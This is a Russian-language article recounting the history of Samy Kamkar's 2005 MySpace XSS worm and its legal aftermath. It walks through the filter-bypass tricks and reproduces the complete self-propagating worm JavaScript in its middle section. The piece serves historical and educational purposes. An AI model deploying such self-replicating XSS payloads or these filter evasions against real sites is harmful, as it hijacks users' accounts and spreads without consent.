Червь который изменил Интернет
Сэми Камка, главный герой истории, не хотел быть «героем» для каждого, он даже не собирался заводить новых друзей. Но благодаря нескольким строчкам умного кода он за сутки стал «героем» и «другом» для более чем миллиона людей.
Все произошло около полуночи 4 октября 2005 года в солнечном городе Лос-Анджелес. Тогда 19-летний хакер Сэми Камка выпустил в сеть нечто, более известное теперь как “червь Samy”. Это был первый самый быстрый и самораспространяющийся вирус, который навсегда изменил мир веб-безопасности.
Оставивший школу в 16 лет и основавший стартап по разработке программного обеспечения под названием Fonality в свои 17-лет, Камка объяснил свой поступок довольно просто:
Я всего лишь хотел произвести впечатление на своих друзей-технарей и ничего больше.
Все началось за неделю до запуска червя. В то время MySpace дал пользователям большую свободу в настройке их профилей, позволив использование HTML кода, который привел к красочному и часто болезненному просмотру профилей. Однако не все на MySpace можно было настроить. У пользователей была возможность загружать не более 12 фотографий. Многих волновал вопрос, как обойти это ограничение. И вот Камка стал исследовать MySpace, чтобы найти способ обмануть сайт и сделать то, что не удавалось остальным пользователям. Вскоре он стал первым, кто смог загрузить 13 фотографий в свой профиль.
У пользователей также был узкий выбор в графе «отношения». В выпадающем меню содержались стандартные варианты: женат, одинок, в отношениях и т.п. Но Сэми, у которого в этот момент были отношения, хотел иметь возможность выделится и указать особый статус «в разгаре отношений». И спустя какое то время перебрав n строк кода, он смог реализовать свою оригинальную задумку. Как сказал Сэми:
Едва только сделав это, я понял, что теперь смогу сделать на своей странице практически все.
Целую неделю Камка работал над сценарием, который был бы невидимым для других пользователей и заставил бы всех, кто посетил его профиль, добавить его в друзья. Сценарий также прикрепил бы строку к профилю «вынужденного» друга под категорией «мои герои: но самый главный мой герой — Сэми». Но после этого он понял, что таким образом не удастся собрать много друзей, если ориентироваться исключительно на тех, кто посетил его страницу. Поэтому изобретательный юноша дописал в скрипте возможность самокопирования на страничку его посетителей. Именно в этот ключевой момент он и создал самораспространяющегося червя.
Со слов Сэми:
Я полагал, что через месяц у меня может быть порядка 100 или 200 друзей. Некоторые из них будут жаловаться, но я просто удалю их и проблем не будет.
Проснувшись следующим утром он обнаружил более 200-ти запросов в друзья. В этот момент Сэми был шокирован, ведь червь распространялся значительно быстрее чем предполагалось. Спустя час запросы выросли вдвое и продолжали расти в геометрической прогрессии. Тогда Камка послал анонимное письмо в поддержку MySpace, предупреждая их о черве и указывая, как его остановить. Но по сей день так и остается загадкой, прочел ли кто-то его письмо.
В 13:30 по полудню у молодого хакера уже набралось более 2500 друзей и было более 6000 запросов на добавление в друзья. Процесс вышел из под контроля.
Камка опубликовал свое сообщение в блоге, объясняя все, что произошло в эту ночь. Как вспоминает Сэми:
Люди буквально завалили меня письмами о том, что они сообщили обо мне, как о человеке, взломавшем их страницы. Ведь именно мое имя светилось в списке их героев.
Я надеюсь, что никто не подал на меня в суд.
Спустя пару часов Сэми пошел подкрепится буррито в Чипотли, после чего вернулся домой, чтобы проверить свой профиль в MySpace. В этот момент у него был почти миллион запросов в друзья. И вот, что он написал в своем блоге:
Я популярен. Это официально.
Число запросов пересекло отметку в миллион за пару минут до того, как MySpace стал недоступен. Компания должна была вывести сайт из эксплуатации, чтобы выяснить, что произошло и произвести ликвидацию червя. Сэми признается:
Я чувствовал себя ужасно. Я чувствовал себя действительно неловко.
Но он уже не мог ничего сделать. Как только он выпустил червя, процесс был уже необратим, вирус стремительно распространяется сам по себе. Спустя пару часов сайт снова стал доступен, но профиль Камка уже удалили.
Кунэл Ананд, который стал директором безопасности в MySpace спустя несколько месяцев после инцидента, сказал, что когда червь [Samy] совершил нападение, у компании не было практически никакой команды безопасности и они понятие не имели, что делать. Никто не видел прежде ничего подобного, так что этот момент стал переломным.
Давайте же посмотрим на то, как был устроен червь [Samy].
MySpace блокирует большинство тегов, на самом деле он разрешает только <a.>,<img.> и <div.>, возможно, некоторые другие, к примеру <embed.>. Но он точно не допустит теги вроде <script.>, <body.>, с JavaScript и т.п. Однако, некоторые браузеры позволяют JavaScript в пределах CSS тегов. JavaScript потребуется для того, чтобы все это дальше работало.
Пример:
<div style="background:url('javascript:alert(1)')">
Дальше использовать кавычки в блоке нельзя, потому что одинарные и двойные кавычки были уже израсходованы. Это значительно усложняет кодирование JS. Чтобы обойти это, можно использовать выражение для сохранения JS и затем выполнить его по имени.
Пример:
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
Теперь мы можем сделать JavaScript в одинарных кавычках. Тем не менее, MySpace удаляет слово «JavaScript» из любой точки. Но некоторые браузеры на самом деле интерпретировать «java\nscript» как «javascript». (Это java<новая строка>script).
Пример:
<div id="mycode" expr="alert('hah!')" style="background:url('java
script:eval(document.all.mycode.expr)')">
Хорошо, в то время как у нас есть работающие одинарные кавычки, все же иногда понадобятся двойные кавычки. Но проблема в том, что MySpace не пропустит любое экранирование кавычек. Однако можем просто преобразовать десятичное число в ASCII в JavaScript, чтобы фактически получить кавычки кавычки.
Пример:
<div id="mycode" expr="alert('double quote: ' + String.fromCharCode(34))" style="background:url('java
script:eval(document.all.mycode.expr)')">
Для того, чтобы оставить код на странице пользователя, просмотревшего вашу, нужно получить исходный код страницы. Чтобы получить исходный код можно использовать document.body.innerHTML. Но опять таки MySpace удалит слово innerHTML, и, во избежание этого, стоит использовать eval(), чтобы оценить две последовательности и соединить их, получая «innerHTML».
Пример:
alert(eval('document.body.inne' + 'rHTML'));
Во время актуального доступа к другим страницам хотелось бы использовать плавающие фреймы. Но, как правило, фреймы (даже скрытые) не так полезны и очевидны для пользователей, что «что-то еще» продолжается. Можно использовать AJAX (HTTP XML) для выполнения HTTP захвата и копирования кода на страницу пользователя. Тем не менее, MySpace удаляет слово «onreadystatechange», которое необходимо для XML-HTTP-запросов. Опять же, мы можем использовать оценку, чтобы избежать этого. Другой плюс HTTP XML — то, что необходимые ку́ки, требуемые для выполнения действий с MySpace, будут передаваться без каких-либо хлопот.
Пример:
eval('xmlhttp.onread' + 'ystatechange = callback');
В то время, когда мы получаем доступ к профилю пользователя, мы получаем и доступ к списку его героев. Нам не нужно удалять список текущих героев, нам просто нужно дописать себя в этот список. Если мы получили доступ к профилю, мы можем получить доступ к текущему списку героев и сохранить его на потом. Со всем вышеупомянутым и вычисленным сделать это довольно просто с запросом HTTP XML. За исключением того, что мы должны получить ID друга — фактического пользователя, просмотревшего наш профиль. Как и упоминалось выше, мы можем это сделать, получив доступ к исходному коду страницы. Правда теперь нам нужно выполнить поиск по странице в соответствии с определенным запросом. Но производя запрос поиска по словам, мы столкнемся с проблемой. Скорее всего данное слово будет найдено внутри нашего же кода. Соответсвенно запрос «если страница содержит «что-то», сделай то-то» будет всегда иметь положительный результат, так как это «что-то» содержится в нашем собственном коде, который был скопирован на страницу пользователя. Использование функции eval() позволяет избежать данной проблемы.
Пример:
var index = html.indexOf('frien' + 'dID');
В этой точке у нас уже есть список героев. Однако для начала нужно добавится в друзья выполнив XML-HTTP запрос на странице «Добавить друзей». Но тут вдруг «опаньки», не работает. Но почему? Мы находимся на profile.myspace.com, однако запрос должен быть сделано по домену www.myspace.com. Ничего страшного, можно подумать, но HTTP XML не позволить отправить/принимать запросы на сайт с другим доменным именем. Чтобы обойти это, давайте фактически перейдем к тому же URL, но с доменом www.myspace.com. Вы по прежнему можете просматривать профиль от имени www.myspace.com, таким образом, перезагрузка страницу с указанием нужного www домена позволяет нам выполнить запрос.
Пример:
if (location.hostname == 'profile.myspace.com') document.location = 'http://www.myspace.com' + location.pathname + location.search;
Наконец мы можем выполнить запрос. Да только отправляя запрос, на самом деле мы не добавляем друга. Почему так происходит? Ведь все сделано правильно. А дело вот в чем. MySpace генерирует случайный хеш на странице для подтверждения запроса (например, «Вы уверены что хотите добавить этого пользователя в друзья?»). Если кэш не был передан вместе с запросом, то запрос не будет обработан. Чтобы обойти этот момент, нужно вести себя как браузер, разобрав источник хэш перед добавлением пользователя, затем отправить запрос при передаче хэш.
После того как запрос был завершен, нам нужно добавить себя в «герои» и вставить наш основной код. В конечном итоге код будет помещен в том же разделе «герои», поэтому для завершения нам нужен будет только один запрос. Тем не менее нам нужно предварительно получить страницу, чтобы получить новый хэш. Но до этого нам следует воспроизвести код, который мы хотим там поместить. Самый простой способ — взять исходный код, разобрать его и внести коррективы. Это работает, но теперь код будет искажен. Нам нужен зашифрованный URL для извлечения исходного кода и добавления запроса должным образом. Странно, но и это все еще не будет работать. Видимо URL-кодирование в JavaScript и функция escape () не выводят все необходимые данные, нужно внести некоторые изменения вручную чтобы получить необходимые данные на выходе. Добавляем «но больше всех мой герой — Сэми» как это было у Камки, после этого вставляем весь код целиком и — вуаля! У нас есть самовоспроизводящийся код, то самый червь.
<div id=mycode style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>
После всех исправлений на стороне MySpace, данный код уже не страшен и не сработает.
Червь, которого выпустил Камка, не смотря на свое быстрое самораспространение оказался безвредным и безобидным. Он всего то только и делал, что добавлял друзей, да вписывал пару строк в «зараженный» профиль. Но если Камка был бы преступником или имел злые намерения, он мог бы с легкостью завладеть чужими профилями. Техника, которую использовал юный хакер, известная как Cross-site Scripting, сокращенно XSS. С ее помощью злоумышленник внедряет вредоносный код на веб-сайт и в браузер пользователя. Люди, сведущие в веб-безопасности, знали, что можно было атаковать большинство сайтов так же, как это сделал Камка. Но до появления червя [Samy] никто не воспринимал эту угрозу всерьез. В то время 80 — 90% веб-сайтов были уязвимы для подобных атак. Проблема привлекла настолько сильное внимание, что Open Web Application Security Project сделал немалые усилия, чтобы создать API для сайтов и позволить пользователям использовать код на своих страницах без воздействия уязвимостей XSS — они вызывали его «AntiSamy Project». Десять лет спустя только 47 процентов веб-сайтов имеют те же уязвимости, согласно данным собранным WhiteHat’s Security в 2015 году. Уязвимость, которую продемонстрировал данный червь, скорее всего более распространенная чем мы думаем.
В последующие годы веб-сайты и браузеры увеличили свою безопасность перед атаками с использованием кросс-сайтовых сценариев, но все же били и еще не менее известные случаи нападений. Например, в 2013 году несколько почтовых ящиков пользователей Yahoo были взломаны благодаря подобной уязвимости. И в прошлом году хакеры нашли ошибку XSS в TweetDeck, которая позволила им поместить на сайт раздражающие всплывающие окна.
Не смотря на свои безобидные намеренья и сообщения в блоге, в которых была описана причина запуска червя [Samy], Камке все равно не удалось избежал проблемы с законом. Спустя шесть месяцев после того, как он выпустил червя, секретная служба вместе с Целевой Группой Электронных Преступлений, получила ордер на обыск его квартиры и его офиса. Власти изъяли у него: ноутбук, три настольных компьютера и все внешние накопители. Окружной прокурор Лос-Анджелеса предъявил обвинения в компьютерных преступлениях. В частности заражение компьютерных систем вирусом согласно уголовному кодексу Калифорнии.
Это было страшно.
Вспоминает Камка.
У меня даже не было свидетельства об окончании средней школы, таким образом, мне было действительно важно, смогу ли я дальше работать с компьютерами. Это все, что у меня было.
В течении целого года адвокаты Камка и местные прокуроры вели дебаты о признание вины молодого хакера. Сам Сэми так и не был арестован, все закончилось тем, что он признал себя виновным и был приговорен к трем годам испытательного срока без практического доступа к компьютерным системам. Он имел право пользоваться лишь одним компьютером, зарегистрированным властями, не имея при этом доступа в Интернет.
Он по прежнему мог работать в качестве руководителя в своем стартапе и приглашался на различные конференции, чтобы рассказать про своего червя. В 2007 он встретил Иеремия Гроссмана, эксперта веб-безопасности и основатель фирмы WhiteHat, на конференции OWASP & WASC AppSec, где Гроссман и его друг Робертом Хансеном, где они были в изготовленных на заказ футболках, на которых была надпись “Сэми, мой герой”. (Подобные футболки можно по прежнему купить онлайн.)
В 2008 году, спустя три года после червя, Камка вернулся в суд и ему сократили испытательный срок. Оказавшись свободным от ограничений, Сэми первым делом отправился в Санта-Монику в Apple Store, где купил новый ноутбук. После чего он пошел в ближайший Starbucks. Его единой целью было открыть ноутбук и подключится к Интернету.
Как вспоминает Сэми, до случая с MySpace он был скромным, замкнутым и застенчивым парнем. Но проведя три года без доступа к Интернету, ему пришлось заниматься другими вещами. И это сильно изменило его.